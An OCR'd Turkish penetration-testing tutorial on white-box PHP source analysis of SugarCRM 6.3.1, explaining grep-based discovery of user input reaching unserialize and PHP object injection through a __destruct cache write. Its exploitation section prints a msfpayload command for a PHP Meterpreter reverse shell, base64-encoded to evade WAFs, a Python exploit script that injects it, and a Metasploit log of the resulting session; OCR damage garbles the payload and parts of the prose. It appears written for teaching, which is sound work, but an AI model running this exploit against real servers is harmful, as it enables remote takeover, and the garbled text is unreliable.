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GiRiS
Bu dokuman Web Uygulamalarinda Kaynak Kod Analizi isimli yazi serisinin 2. dokumanidir.
Bu yaz serisi ile sizma testleri ve glvenli uygulama geligtirme alanlarinda bilgi paylasimi

amagclanmaktadir.

Web uygulamalarinda zafiyet tespiti calismalari 2 farkli konsepte yapiimaktadir.

1 - Black Box Penetration Test

Sizma testi uzmaninin karsisinda sadece hedef web uygulamasinin adresi vardir. Uygulamanin
geligtirildigi platform, web sunucusu veya veri tabani sistemi hakkinda herhangi bir bilgi mevcut
degildir. Bu durumda otomatize araclar ve manuel testler gerceklestirerek guvenlik agiklari tespit
edilir.

2 - White Box Penetration Test

Zafiyet tespiti galismasi yapilacak uygulama hakkinda tim bilgiler mevcuttur. Bu durumda sizma
testi uzmani, hedef uygulamanin kaynak kodlarini okuyarak zafiyet tespiti yapabilir.

Bu iki farkli sizma testi yaklagiminin birbirlerine gére avantajlari ve dezavantajlari vardir. Bu
dokimanda White Box Penetration Test ele alinacaktir.

HAZIRLIK

Baslamadan 6nce Web Uygulamalarinda Kaynak Kod Analizi - | dokiimanini okumanizi
tavsiye ediyorum. Apache, php gibi gerekli arastirma ortami araglarinin kurulumu ile ilgili kisimlar
bu dokumanin odak noktasi degildir. Bu konu hakkinda lutfen 1. dékimandan yararlaniniz.

Linux

Linux'un glcu pek ¢ok alanda oldugu gibi statik kod analizi alaninda da bize kolayliklar
saglamaktadir. Basarili bir penetration tester olmak igin programlama ve linux bilgisinin sart
oldugunu dusinen bir insan olarak, kendinizi Bash Scripting ve Linux konusunda gelistirmenizi
Onermekteyim.


http://www.google.com/url?q=http%3A%2F%2Fwww.exploit-db.com%2Fwp-content%2Fthemes%2Fexploit%2Fdocs%2F19140.pdf&sa=D&sntz=1&usg=AFQjCNH1W0WwOVzcdhYp1CbiBNe95XeG2w

Bu dokimanda Ubuntu 12.04 64bit dagitimi kullanilmigtir. Siz istediginiz herhangi bir dagitimi
secebilirsiniz.

Programlama Dili Tecriibesi

Kaynak kod analizi galigmalarinda en énemli kismi tabiki de programlama dili tecrubesidir.
Ozellikle MVC ve OOP alanlarinda bilgi sahibi olmak mihimdir. Bu dékiimanda analiz edilecek
olan yazilim PHP dili ile geligtirilmistir. Lakin genel olarak programlama dili tecribesine sahip
iseniz PHP bilmiyor olmaniz size bir problem teskil etmeyecektir.

Calisma Ortami ve Test Yazilimi

Calisma ortami hazirhdi igin; Ubuntu Gzerinde apache, mysql ve php kurulumu
gerceklestiriimistir. Xampp gibi butlnlesik paketleri sahsen tercih etmemekteyim. Apache, mysq|l
ve php kurulumu icin gerekli adimlari 1. dékimandan elde edebilirsiniz.

Analiz edilecek yazihm olarak SugarCRM 6.3.1 versiyonu tercih edilmistir. Bu kararda ki en
onemli etmen, SugarCRM yaziliminda Black Box Penetration Test ile tespit edilmesi mumkuin
olmayan bir glivenlik agiginin, EgiX kullanici adli sizma testi uzmani tarafindan 23.06.2012
tarihinde yayinlanmig olmasidir. Bir ikinci etmen ise PHP’nin pek ¢ok gelistirici ve sizma testi
uzmani tarafindan bilinmeyen bir noktasindan bahsedilecek olmasidir.

http://www.exploit-db.com/exploits/19381/

Yukarida ki adrese girerek Vulnerable App: yazisinin yaninda ki yesil disket resmine tiklayarak
ilgili uygulamay indirebilirsiniz.


http://www.google.com/url?q=http%3A%2F%2Fwww.exploit-db.com%2Fexploits%2F19381%2F&sa=D&sntz=1&usg=AFQjCNGWBHb3xhzyvmdAFc0P4GmoW8svSw

Kurulumu tamamladiktan sonra agagida ki gibi bir ekran ile kargilagiyoruz.
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Uygulamanin kurulumunu tamamladiktan sonra kaynak kod analizine gegebiliriz.

KAYNAK KOD ANALIZi

Input

Tdm saldirilar, uygulamalarinda kullanicilar ile iletisime gegtikleri noktada baslamaktadir. Web
uygulamalari, kullanicilari girdiler -input- ile kendi blinyelerine dahil ederler. Kisaca; kullanici
girdileri, uygulamalarin kritik bolgeleridir. Herhangi bir kontrol eksikligi potansiyel bir guvenlik
acidina ihtiva etmektedir.

Kullanici ile iletisim

Tam web programlama dilleri belli mantiklar ile kullanicilardan girdi almaktadir. Mouse ile tiklanan
bir link, forumlarin arama kisimlari gibi érneklerde bu mantik gecerlidir. Ornek olarak, google



arama motorunda “diren” kelimesini arattiginizda google.com Uzerinde galisan web uygulamasi
kullanicidan yani sizden “diren” string’ini girdi olarak almigtir.

PHP’de kullanici ile iletisim $_POST, $ GET, $ REQUEST, $_COOKIE gibi 6zel degiskenler ile
saglanir. Hem normal kullanicilar hemde sizma testleri uzmanlari igin 6nemli noktalar bu
degiskenlerdir. Statik kod analizi yaparkende ilk basta basit bash script komutlari ile php
dosyalarinda bu degiskenlerin gectigi yerler tespit edilebilir.

SugarCRM uygulamamizin diskte bulundugu dizin /var/lwww/sugar klasorudur.

Yukarida ki ¢iktida yapilanlar adim adim asagida anlatiimigtir.

1 - find komutu ile /var/www/sugar klaséru altinda ki tum dosyalar listelenmistir. Klasér icinde ki
klasorler de bu ¢iktiya dahildir.

2 - Dosyalar -type f ile belirtilmistir. -type d diyerek directory listelemesi yapabilirsiniz.

3 - Ciktinin ilk 10 satir ekran goérintisindn alinabilmesi igin kullaniimistir. Arada ki duz gizgi
-pipe- solda ki komutun ciktisini , sagda ki head komutuna girdi olarak vermektedir.



Yukarida ki ekran gorintusinin son satirinda yazilan komut vardir. Daha Ust satirlarda ise
komutun ¢iktisin bir Kismi mevcuttur. Yazilin linux komutunu analiz edersek;

1 - /var/www/sugar igerisinde ki tipi file olan tim dosyalari getir.
2 - Bu c¢iktinin igerisinde sonu “.php” ilen satirlari getir, kalanlari ekrana basma.

Web projelerinin igerisinde css dosyalari, javascript dosyalari ve png, jpeg gibi resim dosyalari
sikga bulunur. PHP kod analizi iglemini bu dosyalar Gzerinde yapmamak i¢in sonu sadece “.php”
ile biten dosyalar yakalanmistir -greplenmistir.-

En son .php uzantili tim dosyalarin listesini alt alta almistik. Yukarida ki komut ile bu dosyalari tek
tek acip, satir satir okuyarak ‘PHPKOMUTLARI’ stringinin gegtigi satirlar ekrana ¢ikti olarak
verilmektedir.

TUm proje bazinda $_GET, $ POST gibi kullanicidan girdi alinan php kodlarinin gegctigi tim
satirlari bu sekilde gorebiliriz. Tahmin edebileceginiz Gzere ekrana 10.000+ kadar cikti gelecektir.
Ardindan bu ¢iktiyr gene linux komutlari ile analiz edecegiz.

grep komutuna “ \| “ karakterleri ile VEYA mantigi isleme tabi tutulmustur. Ozetle, $_GET veya
$ POST veya $ REQUEST gecen satirlar ekrana basilacaktir.



Yukarida komutun giktisinin kiaguk bir kismi gdézukmektedir. Aslinda tam olarak 5378 satir ¢ikti
vermistir. Sol kolonda okunan php dosyanin full path’i sag tarafta ise aradigimiz keyword’lerin
gectigi satirlar yazmaktadir.

False Positive Durumlar

Su anda bulundugumuz noktada sadece kullanici ile iletisime gegilen 6zel php degiskenlerinin
kullanildigi satirlar tespit edilmistir. 2 adet 6rnek ile ¢iktimizda yer almayan durumlari tartisalim

test.php dosyasi
zafiyet_iceren_fonksiyon($_GET['parametre’]);
test2. php dosyasi

$param = $_GET['parametre’];
zafiyet_iceren_fonksiyon($param);



Bizim komutumuz test ve test2 dosyalarini analiz ettiginde bize asagida ki ¢iktiyi verecektir.

test.php zafiyet_iceren_fonksiyon($_GET[‘parametre’]);
test2.php $param = $_GET['parametre’];

Bu ciktiyl analiz ettigimizde 1. satirda potansiyel bir glvenlik agigi oldugunu, 2. satirda ise
olmadigini diislinebiliriz. Bu bir hatadir. Clinkl kullanicidan $_GET, $_POST ile alinan girdiler
fonksiyonlara gonderilmeden dnce baska bir degiskene atanmis olabilir. Bu durumda guvenlik
acigini tespit etme noktasinda basarisiz olabiliriz. Bunun 6ntine gegebilmek adina degisken
atamalarinin yapildigi satirlara dikkat edilmelidir. Su anda yazilan bash komutlari ile yapiimak
istenen tam olarak “Basit dizeyde bulunan guvenlik agiklarinin direk tespiti.” calismasidir. Kritik
duzeyde olan Remote Code Execution veya SQL Injection gibi zafiyetlerin var olabileceqgi
potansiyel noktalari ilk 6nce test etmek, pentest strecinin saghgi agisinda énemlidir. Bu tur kritik
duzeyde ki zafiyetler tespit edildigi anda aksiyon alinmalidir!

PHP Zafiyetleri

Pek ¢ok geligtirici ve sizma testi uzmani tarafindan system(), shell_exec(), exec() metodlari
bilinmektedir. Bu metodlar ile php Uzerinden komut satirina erisim saglanabilmektedir. Bu
noktada kullanici girdileri kullaniliyor ve yeteri kadar kontrol edilmiyorsa Command Injection
zafiyeti olusabilir. Remote Code Execution zafiyetine neden olabilecek baslica PHP fonksiyonlari;
system(), shell_exec(), exec(), passthru(), unserialize() 6rnek olarak verilebilir.

PHP Security konusunda daha fazla bilgi edinmek isteyenler icin Essential PHP Security by
Chris Shiflett kitabini dnermekteyim.



M ™ mince@intelrad: ~

Burada ki linux komutunu inceledigimizde, bir 6nce ki kisimda anlatilan $_GET,$_POST,

$ REQUEST gibi deg@erlerin gectigi satirlar alinmistir. Bu sefer bununla yetinmeyin bu degerlerin
gectigi satirlarda ek olarak belirtlen PHP fonksiyonlarinin gecip gegmedigi kontrol edilmistir. Daha
rahat anlagilabilmesi icin adim adim inceleyelim

1 - Uzantisi php olan tim dosyalari getir.

2 - Bu dosyalarin icerisinde $_GET,$ POST, $ REQUEST stringlerinden herhangi birisinin
gectigi yeri ekrana yaz.

3 - Ekrana yazilan satirlarda system, shell_exec, exec, passthru ve unserialize stringlerinden
herhangi biri gegerse ekrana yaz.

Bu durumda elde ettigimiz ¢iktida; direk kullanici girdisini parametre alan ve guvenlik agigi
konusunda potansiyel barindiran fonksiyonlarin oldugu dosyalar ve satirlar bulunmaktadir.

Unserialize Nedir ?

PHP’nin unseriazeli ve serialize metodlarina biraz daha yakindan bakalim.



M S ™ mince@intelrad: /ftmp

2. satirda temp adinda bir adet array tanimlanmistir. Ardindan temp degiskeni serialize
fonksiyonuna parametre olarak verilmigtir ve ¢ikti ekrana yazdiriimigtir.

Ciktiya baktigimizda yukarida ki stringi gdrmekteyiz. Bu ¢ikti test.php dosyasinda tanimlanmig
olan temp array’ini ifade etmektedir.

PHP’de bir degiskeni, arrayi veya objecti string ile ifade edebilmek igin serialize fonksiyonu
kullanilabilir. Olusan string bolca ¢ift tirnak igerdigi icin genellikle base64 ile encode edilerek web
uygulamalarinda kullaniimaktadir. Bu stringi alip unserialize metoduna parametre olarak verirsek
ayni islemler tamamiyle tersten yapilacaktir. String analiz edilerek bir adet array
olusturularacaktir.

10



Analiz ettigimiz yazilimda unserilize metoduna parametre olarak kullanici girdi herhangi bir kontrol
yapilmadan atanmistir. Bu durumda olusabilecek guvenlik agikligi ve atak vektort analiz edelim

PHP Object Injection

M E mince@intelrad: /ftmp

Yukarida ki PHP kodlarini okudugunuzda basit bir php sinifi tanimlandidi ve bu siniftan bir obje
olusturuldugu gorulmektedir. Sinifin destruct metodu mevcuttur. Objec olusturulmasi bittiginde
trigger edilen bu fonksiyon ekrana, Intelrad sinifinin $pentester degiskenini yazdirmaktadir.

11



@™ mince@intelrad: /emp

serizeli metodu ile sadece array’leri degdil objecleride string olarka ifade edebiliriz. Asagida ki
ciktiya baktigimizda new ile olusturulan objenin serialize ile ifade ediliz halini gorebilirsiniz.

Dikkatli okuyucular fark etmiglerdir. Array serialize edildiginde “a” ile baslayan ¢ikti object
serialize edildiginde ise “O” ile baglamaktadir. Unserialize fonksiyonu geri dénus iglemini
yaparken buna dikkat etmektedir. Ayrica pentester degiskeninin degeri olan “Mehmet INCE”
degeride burada yer almaktadir.

12



Atak Vektor

Simdiye kadar PHP’nin serialize fonksiyonun nasil bir mantikta ¢alistigi anlatiimistir. Bir PHP
Objesi, degiskeni ve array’i string olarak ifade edilebilmekte. Ardindan bu string ifadeyi unserialize
ederek objeler, degiskenler veya array’ler geri donugsturulebilmektedir.

Yazdidimiz linux komutlari ile unserizeli metoduna kullanici girdisi kontrol edilmeden parametre
olarak atandigi tespit edilmistir. Yani saldirgan analiz edilen yazilim genelinde ki herhangi bir
siniftan nesne tlretip bunu serialize edip elde ettigi string ifadeyi hedef uygulamaya goénderirse,
bu nesne unserialize ile otomatik olarak uretilecektir. Peki unserialize nesneyi geri
donusturdigunde, nesnenin turetildigi sinifin hangi metodlari call edilmektedir ?

Unserialize ile bir nesne yeniden olusturuluyorsa, nesnenin turetildigi sinifin __destruct metodu
otomatik olarak ¢agiriimaktadir. Atak vektérde bu kisimda gelismektedir. Adim adim agiklamak
gerekirse.

1 - Hedef uygulamada asagida ki gibi bir kod vardir.

$page = unserialize(base64 _decode($ _REQUEST['current_query by page']));

2 - Bu kod kullanicidan 'current_query_by page' degiskeni ile aldigi base64 ile encode edilmis
degeri base64 decode etmektedir.

3 - Decode ile olusan string unserialize fonksiyonuna gonderilmistir.

4 - Saldirgan 'current_query_by page' degiskeni ile uygulamada bulunan istedigi bir objeyi
enjekte edebilme imkani elde etmistir.

Peki saldirgan zararli PHP kodlarini nasil enjekte edecektir ? Bu sorunun cevabini anlatabilmek
icin biraz daha PHP kodlari Gzerinden egzersizler yapacagiz.

Serialize ile olusturulan stringleri analiz ederken degiskenlerin degerlerinin bu string ifadede var
oldugunu fark etmigtik. Bu de@erler degistirilebilir haldedir.

13



A2 mince@intelrad: ftmp

1 - Saldirgan Intelrad sinifini kendi bilgisayarinda tekrardan tanimlar $pentester degiskenin eski
degeri olan Mehmet INCE yerine HACKER vyazar.

2 - Ardindan Intelrad sinifindan bir adet nesne olusturur ve bunu serialize eder.

3 - Serialize ile olusmus string’i base64 ile encode eder ve ekrana yazar.

14



M ™ mince@intelrad: /tmp

destruct

Yukarida ki kodlari inceledigimizde degiskenine “MEHMET INCE” atanmig Intelrad isminde bir
sinif vardir. Unserialize metodunun igerisinde ki base64 string’i ise az énce olusturdugumuz ve
degiskeninde HACKER yazan siniftan dretilmig bir nesneyi ifade etmektedir. Bu dosyayi execute
ettigimizde olanlara bakalim.

Ekrana “HACKER” kelimesi yazildi. Intelrad sinfinin destruct metodu disarisinda higbir yerde
ekrana mesaj yazma fonksiyonu kullaniimadigina goére ve Intelrad sinifinin degiskeninde “Mehmet
INCE” yazmasina ragmen bu nasil gerceklesti ? Tekrar adim adim inceleyelim.

1 - Degisken degerine HACKER atanmis Intelrad isminde ki siniftan bir nesne Uretildi ve serialize
iste string formatinda ifade edildi.

2 - String igerisinde c¢ift tirnak gibi karakterler cok oldugu icin base64 ile encode edildi. -
inceledigimiz yazilimimizda ki durum da bu gekildedir. Base64 ile decode edilmektedir.

3 - Base64 string unserialize edildigin Intelrad sinifinin degiskeni “Mehmet INCE” olmasina
ragmen Urettigimiz nesnede “HACKER” yazdigi i¢in sinifin destruct metodu ekrana “HACKER”
yazdi.

15



Atak Vektor Sonucu

Unserialize ile obje kullanildiginda nesnenin Uretildigi sinifin destruct ve wakeup metodlari bu
nesne igin tekrardan call edilmektedir.

Eger;

Bir sinifin destruct veya wakeup metodlari bulunduklari sinifin degiskenleri bir dosyaya
kaydediyorlarsa veya herhangi baska bir amacla kullaniyorlarsa bu degiskenler Gzerinden saldiri
gerceklestirilebilir.

unserialize(base64_decode($_REQUEST['current_query_by_page']));

Cunkd goruldigu tzere yukaridaki hatali PHP kodu sayesinde istedigimiz objeleri enjekte
edebilmekteyiz. Simdiye geri sadece analiz edilen yazilimda ki tum __destruct ve __wakeup
metodlarinin yaptigi isleri analiz etmek kaldi. Eger herhangi bir sinifin __destruct veya __ wakeup
metodlari o sinifin degiskenlerini bir php dosyasina cache’lemek gibi bir amacla kaydediyorsa biz
zararh kodlarimi bu php dosya igerisine yerlestirebilmekteyiz.

Tekrar bash scripting ile birlikteyiz. Tahmin edebileceginiz gibi simdi tim yazilim genelinde
__destruct ve __wakeup fonksiyonlarinin tanimladigi satirlari bulmamiz ve tek tek o fonksiyonlari
okumamiz gerekmektedir.

@S mince@intelrad: /ftmp
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Yazilan linux komutunu analiz ediniz.

10 kusur adet php dosyasinda tanimlanmig olan siniflarda __destruct ve __wakeup metodlari
bulunmaktadir. Bunlari tek tek okudugumuzda dikkatimizi SugerTheme.php dosyasi
cekmektedir. BU dosyada tanimlanmig olan SugarTheme sinifinin __destruct metodunu
baktigimizda asagida ki kodlari gérmekteyiz.

MO®® mince@intelrad: /temp

Latfen kodlari inceleyiniz.




Kodlar incelendiginde 329. satirda pathCache.php adinda bir dosya olusturuldugu
gorulmektedir.Bu dosyaya, SugarTheme sinifinin _jsCache, _cssCache, _imageCache,
_templateCache degigkenlerini bir array’a atandiktan sonra serialize edilmis halinin yazildigi
gorulmektedir. Tam olarak bizim istedigimiz durum! Zafiyetimizi ve exploit etme yolumuzu
bulduk. Simdi sira exploitation’da!

EXPLOITATION

Kaynak Kod Analizi bolimiinde zafiyetimizi ve exploit etme ydntemimizi tespit ettik. Ozetlemek
gerekirse; Kullanicidan gelen deger kontrol edilmeden unserialize metodunda kullaniimistir. Bu
durumda PHP Object Injection zafiyeti olusmaktadir. BU zafiyetin exploit edilebilmesi igin sinif
degiskenlerini kullanan __destruct veya __ wakeup metodlari olan siniflarin olmasi gerekmektedir.
SugarTheme sinifinin __destruct metodu sinif degiskenlerini pathCache.php dosyasina kaydettigi
tespit edilmistir. Bu sekilde pathCache.php dosyasina zararli php kodlari yerlestirilecektir.

root@intelrad: ~

File Edit View Search Terminal Tabs Help

' root@intelrad: ~ | root@intelrad: ~

~# msfpayload php/meterpreter/reverse tcp LHOST=192.168.1.100 LPOR
) 4 -t raw
eded with size 1785 (iteration=1)

cGhwCgplcnJvcl9yZXBvcnRpbmcoMCk7Ci

XMgd210aCBBaGUgY29ycmVjdCBMSESTVC
9ICcxOTTuMTY4LjEUMTAw]

TFNFI_ ijB dHJwb%MoJu1wLLH )

yA9TEBzb2 NILARfYq“mev
3R5cGUgPSANC29j .a2Ve
yBkaWlUoJ25v IHNv L
WAgPSBmcmVhZCgkc ywgh
2V0) oJHM~IDQprBlctha‘5FfQ
wluIHNvY“tld'4qIFRoZAJ1J%MG

0 Ah’iAuPSBEbZNrZKRfcm hZughcngJGhlbllcdHJs Wao
7SBzb2ZNrZXQgZm9y IHRoZSBLYWLUIHNGYWdL IHRvIH
kROxPQkFMUlsnbXNnc29jalS0eXBlJ10gPSAKe
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Metasploit'in meterpreter malware’inin reverse connection baglantisini saglayan php scripti
olusturulmustur. Normalde bir gok fonksiyon ve metodlarin dondigu bu script base64 ile encode
edilerek daha dizgun hale getirilmistir. Bunu yapmamizda ki amag¢ WAF gibi sistemler
karsisinda daha masum goérundrde olabilmektir. Simdi ise sira bu zararl kodlari igerisinde
barindiran SugarTheme sinifini olusturmakta.

@2 @ mince@intelrad: /emp

unserialize (base64 decode ($ REQUEST['current query by page'l));
Guvenlik acigi olan koda tekrar bakarsak. Bizden aldigi stringi base64 ile decode edip unserialize

metoduna vermektedir. Yani bizim inputumuz serialize edilip ardindan base64 ile encode
edilmelidir.

19



exploit.py #
#!/usr/bin/env python
# Bagimlilikler = sudo apt-get install python-requests
import requests
session = requests.session()

username="admin"
password="123456"

URL = 'http://localhost/sugar/’
Login = {
'module’:'Users’,
‘action':'Authenticate’,
'user_name':username,
'user_password' :password

}

# Oturum saglaniyor
session = requests.session()
r = requests.post(URL+"index.php", data=Login)

# Exploit Gonderiliyor
Payload = {
'module’:'Contacts’,
'Contacts2_CONTACT offset':'1l',
'current_query_by page':'TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDolACOAZGLYTmMFtZSI7czol101TuLiBulil7cz
PLI7fQ=="
}

hack=requests.post(URL+"index.php", cookies=r.cookies, data=Payload, headers={"content-
type":"application/x-www-form-urlencoded"});

# Exploit Trigger Ediliyor

trigger=requests.get(URL+"pathCache.php", cookies=r.cookies)

Yukarida python kodlarini inceleyiniz.

Oncelikle oturum saglanmaktadir. Oturum ile elde edilen PHPSESSID cookie’si session
degiskeninde tutulmaktadir. Ardindan meterpreter ile olusturulmus PHP reverse connection
payload’i 6nce ki sayfada anlatildigi sekilde SugarTheme sinifindan kullanilarak payload
geligtiriimistir. Bu payload POST request'i ile gidecek olan current_query_by_page
degiskenine atanmistir. Ardindan exploiti trigger etmek igin pathCache.php dosyasi
caginimaktadir.
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root@intelrad: ~

File Edit View Search Terminal Tabs Help
root@intelrad: ~ root@intelrad: ~

Save your shells from AV! Upgrade to advanced AV evasion using dynamic

exe templates with Metasploit Pro -- type 'go _pro' to launch it now.

metasploit v4.6.2-2013052901 [core:4.6 api:l.0]
1103 exploits - 621 auxiliary - 178 post
300 payloads - 29 encoders - 8 nops

exploit/multi/handler
msf exploit( ) = set payload php/meterpreter/reverse tcp
payload == php/meterpreter/reverse tcp
msf exploit( )] = set LHOST 192.168.1.100
== 1592.168.1.100
msf exploit( ) = set LPORT 443
LPORT == 443

Exploit galigtiriimadan 6nce multi handler ile dinleme moduna gegilmistir.

root@intelrad: ~ root@intelrad: ~
msf exploit( ) = set payload php/meterpreter/reverse tcp
ayload == php/meterpreter/reverse tcp
msf exploit( ) = set LHOST 192.168.1.100
HOST == 192.168.1.1060
msf exploit( ) set LPORT 443
ORT => 443
exploit(
exploit(
exploit(
exploit(
exploit(
exploit(
exploit(
exploit(
exploit(
exploit(
exploit(
exploit
exploit
exploit
exploit
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exploit

Started reverse handler on 192.168.1.100:443

Starting the payload handler. ..

Sending stage (39195 bytes) to 192.168.1.106

Meterpreter session 1 opened (192.168.1.100:443 -=192.168.1.106:48970) at 20
06-17 18:15:15 +0300
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meterpreter = |j




ONLEMLER

—

Kullanici girdileri her zaman kontrol edilmelidir.

2. Yazilimlar, development slrecinde kesinlikle code review surecinden ge¢gmelidir.

3. Gerekliyse development suresinde konu ile ilgili uzman firmalardan danigmanlik
alinmahdir.

4. Calisma birimlerinizde beyaz sapkali hacker’lar istihdam edilmelidir. Mevcut ¢alisanlar

Guvenli Uygulama Gelistirme suregleri hakkinda donanimli hale getirilmelidir.

SONUC

Basit bir input kontrolt yapiimadigi igin i¢ sunucu ve DMZ bdlgesine izinsiz giris saglanmigtir.
Web Application Firewall, IPD/IDS gibi sistemler spesifik saldirilari engelleme konusunda
basarisizdirlar. Bu nedenle Uygulama Guvenligi konusuna dikkat edilmelidir.

SON

Mumkun mertebe tUm detaylara deginilmeye ¢ahlgilimigtir. Tesekkur ederim!

EOF
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